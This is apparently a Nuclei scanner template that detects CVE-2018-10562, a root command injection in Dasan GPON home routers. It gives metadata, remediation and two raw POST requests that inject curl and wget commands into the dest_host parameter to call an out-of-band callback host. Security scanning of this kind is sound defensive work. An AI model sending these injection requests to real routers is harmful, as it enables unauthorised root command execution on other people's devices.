Dasan GPON Devices - Remote Code Execution

id: CVE-2018-10562

info:
  name: Dasan GPON Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
    - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10562
    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-10562
    cwe-id: CWE-78
    epss-score: 0.97441
    epss-percentile: 0.99945
    cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dasannetworks
    product: gpon_router_firmware
  tags: cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
      - |
        POST /GponForm/diag_Form?images/ HTTP/1.1
        Host: {{Hostname}}

        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100eff8002cdfe102f6a45b3310a529b3082ffce269cf60f0c09c44bf7d7ffbd0480220239d1b6bfa938a51d3f70bafedef9c3b99f833dfb44e2580e054d49a0a86147e:922c64590222798bb761d5b6d8e72950